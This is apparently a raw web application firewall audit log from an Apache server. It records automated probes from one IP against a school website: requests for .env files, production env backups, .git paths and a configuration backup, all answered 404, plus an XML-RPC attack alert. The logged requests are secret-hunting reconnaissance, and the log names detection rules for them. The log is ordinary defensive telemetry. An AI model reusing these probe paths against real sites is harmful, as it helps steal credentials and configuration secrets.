X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --9ee1d47d-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9qxfbo0R64L12N_alXjAAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035141164486 939705 (- - -) Stopwatch2: 1750035141164486 939705; combined=2376, p1=381, p2=1584, p3=43, p4=69, p5=185, sr=110, sw=114, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9ee1d47d-Z-- --0e519014-A-- [16/Jun/2025:06:22:25.954077 +0530] aE9qyVXriBOgqnJNgkwjqAAAAAA 185.177.72.210 36352 127.0.0.1 7081 --0e519014-B-- GET /jolokia/exec/java.lang:type=Memory/gc/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0e519014-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=336b2a1b8d38248fc5e474249f1644651750035145; expires=Mon, 16 Jun 2025 01:52:25 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0e519014-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/jolokia/exec/java.lang:type=Memory/gc/.env"] [unique_id "aE9qyVXriBOgqnJNgkwjqAAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035145213897 740262 (- - -) Stopwatch2: 1750035145213897 740262; combined=2447, p1=426, p2=1878, p3=0, p4=0, p5=143, sr=103, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0e519014-Z-- --df560d52-A-- [16/Jun/2025:06:22:28.986726 +0530] aE9qzNNEcm-DhAkC0ibfIAAAAAY 185.177.72.210 36492 127.0.0.1 7081 --df560d52-B-- GET /backup/.env.prod HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --df560d52-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e21866322a8b2b34b8fb228d6406ac061750035148; expires=Mon, 16 Jun 2025 01:52:28 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --df560d52-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/backup/.env.prod"] [unique_id "aE9qzNNEcm-DhAkC0ibfIAAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035148311136 675663 (- - -) Stopwatch2: 1750035148311136 675663; combined=2065, p1=426, p2=1546, p3=0, p4=0, p5=92, sr=117, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --df560d52-Z-- --a1adc155-A-- [16/Jun/2025:06:22:29.972190 +0530] aE9qzVXriBOgqnJNgkwjqgAAAAA 185.177.72.210 56132 127.0.0.1 7081 --a1adc155-B-- GET /static-collected/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a1adc155-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f9d3afaf672be37907713ea1866bbcf11750035149; expires=Mon, 16 Jun 2025 01:52:29 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a1adc155-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/static-collected/.env"] [unique_id "aE9qzVXriBOgqnJNgkwjqgAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035149318913 653339 (- - -) Stopwatch2: 1750035149318913 653339; combined=2355, p1=469, p2=1787, p3=0, p4=0, p5=98, sr=128, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a1adc155-Z-- --76a93c51-A-- [16/Jun/2025:06:22:32.153750 +0530] aE9qzw9THibLN0xLxETy7QAAAAk 185.177.72.210 56226 127.0.0.1 7081 --76a93c51-B-- GET /:5000/.c9/metadata/ambienzinhoironment/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --76a93c51-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=be8283d65c5a84bb4fd6f4289e2a09e31750035152; expires=Mon, 16 Jun 2025 01:52:32 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --76a93c51-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/.c9/metadata/ambienzinhoironment/.env"] [unique_id "aE9qzw9THibLN0xLxETy7QAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035151477381 676444 (- - -) Stopwatch2: 1750035151477381 676444; combined=1780, p1=429, p2=1254, p3=0, p4=0, p5=96, sr=129, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --76a93c51-Z-- --d2b85f40-A-- [16/Jun/2025:06:22:36.338481 +0530] aE9q0zC9bb-fhYp4LpFTrAAAAAM 185.177.72.210 56412 127.0.0.1 7081 --d2b85f40-B-- GET /:8888/database/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d2b85f40-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=cfdf6f5868b4671f0c584071ebd48cb51750035156; expires=Mon, 16 Jun 2025 01:52:36 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d2b85f40-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/database/.env"] [unique_id "aE9q0zC9bb-fhYp4LpFTrAAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035155664679 673865 (- - -) Stopwatch2: 1750035155664679 673865; combined=1908, p1=379, p2=1406, p3=0, p4=0, p5=122, sr=102, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d2b85f40-Z-- --93f75b3b-A-- [16/Jun/2025:06:22:40.493057 +0530] aE9q15LRu31pT8F-J2ZO5wAAAAc 185.177.72.210 36656 127.0.0.1 7081 --93f75b3b-B-- GET /:8888/apps/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --93f75b3b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0e9815628f93e6164d5628b7192af24b1750035160; expires=Mon, 16 Jun 2025 01:52:40 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --93f75b3b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/apps/.env"] [unique_id "aE9q15LRu31pT8F-J2ZO5wAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035159827450 665672 (- - -) Stopwatch2: 1750035159827450 665672; combined=1536, p1=381, p2=1037, p3=0, p4=0, p5=118, sr=111, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --93f75b3b-Z-- --17e3f52c-A-- [16/Jun/2025:06:22:41.532346 +0530] aE9q2J16HYQp4eDf7R1YSQAAAAI 185.177.72.210 36710 127.0.0.1 7081 --17e3f52c-B-- GET /cpbackup-exclude.conf HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --17e3f52c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a9cc47b60d84cacef23627376cb04eb61750035161; expires=Mon, 16 Jun 2025 01:52:41 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --17e3f52c-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/cpbackup-exclude.conf"] [unique_id "aE9q2J16HYQp4eDf7R1YSQAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035160867104 665305 (- - -) Stopwatch2: 1750035160867104 665305; combined=2119, p1=327, p2=1702, p3=0, p4=0, p5=90, sr=94, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --17e3f52c-Z-- --6730db33-A-- [16/Jun/2025:06:22:46.077045 +0530] aE9q3TC9bb-fhYp4LpFTsQAAAAM 185.177.72.210 36916 127.0.0.1 7081 --6730db33-B-- GET /api/.env.production HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --6730db33-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=15217e89989332a99b541a3ab26171211750035165; expires=Mon, 16 Jun 2025 01:52:45 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --6730db33-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/api/.env.production"] [unique_id "aE9q3TC9bb-fhYp4LpFTsQAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035165422044 655084 (- - -) Stopwatch2: 1750035165422044 655084; combined=2171, p1=466, p2=1588, p3=0, p4=0, p5=116, sr=109, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6730db33-Z-- --eed68038-A-- [16/Jun/2025:06:22:48.014341 +0530] aE9q31XriBOgqnJNgkwjtQAAAAA 185.177.72.210 37050 127.0.0.1 7081 --eed68038-B-- GET /.git/protokolle/head HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --eed68038-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7a5b28a4c0011c1cb8e5c67106949ef21750035167; expires=Mon, 16 Jun 2025 01:52:47 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --eed68038-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.git/protokolle/head"] [unique_id "aE9q31XriBOgqnJNgkwjtQAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035167358767 655637 (- - -) Stopwatch2: 1750035167358767 655637; combined=1986, p1=408, p2=1478, p3=0, p4=0, p5=99, sr=102, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --eed68038-Z-- --ac583d50-A-- [16/Jun/2025:06:22:55.483032 +0530] aE9q5hqlZKl9zSjMrhQ3KQAAAAE 185.177.72.210 48286 127.0.0.1 7081 --ac583d50-B-- GET /:8443/.env.copy HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ac583d50-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7d125e4603f19821a4477056675a09c01750035175; expires=Mon, 16 Jun 2025 01:52:55 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ac583d50-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/.env.copy"] [unique_id "aE9q5hqlZKl9zSjMrhQ3KQAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035174785064 698031 (- - -) Stopwatch2: 1750035174785064 698031; combined=2092, p1=454, p2=1535, p3=0, p4=0, p5=103, sr=96, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ac583d50-Z-- --b4fcf341-A-- [16/Jun/2025:06:22:57.480993 +0530] aE9q6FXriBOgqnJNgkwjuAAAAAA 185.177.72.210 48372 127.0.0.1 7081 --b4fcf341-B-- GET /:8888/config/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b4fcf341-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5b5dad96b820a6fd916c1e96aa3de59b1750035177; expires=Mon, 16 Jun 2025 01:52:57 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b4fcf341-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/config/.env"] [unique_id "aE9q6FXriBOgqnJNgkwjuAAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035176806910 674174 (- - -) Stopwatch2: 1750035176806910 674174; combined=1956, p1=423, p2=1406, p3=0, p4=0, p5=126, sr=103, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b4fcf341-Z-- --cdf1005c-A-- [16/Jun/2025:06:23:01.483233 +0530] aE9q7Pbo0R64L12N_alXngAAAAQ 185.177.72.210 35346 127.0.0.1 7081 --cdf1005c-B-- GET /:10000/.env.2 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --cdf1005c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=09bebfa95f2499d31d707980d668ec681750035181; expires=Mon, 16 Jun 2025 01:53:01 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --cdf1005c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/.env.2"] [unique_id "aE9q7Pbo0R64L12N_alXngAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035180762947 720371 (- - -) Stopwatch2: 1750035180762947 720371; combined=2112, p1=392, p2=1623, p3=0, p4=0, p5=96, sr=92, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --cdf1005c-Z-- --2c02c73d-A-- [16/Jun/2025:06:23:06.285000 +0530] aE9q8apdvXW4_hknQUU4NgAAAAo 185.177.72.210 35474 127.0.0.1 7081 --2c02c73d-B-- GET /:5601/tmp/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2c02c73d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ca07d950f95650d0183ed5b4c54a46e61750035186; expires=Mon, 16 Jun 2025 01:53:06 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2c02c73d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/tmp/.env"] [unique_id "aE9q8apdvXW4_hknQUU4NgAAAAo"] Apache-Handler: 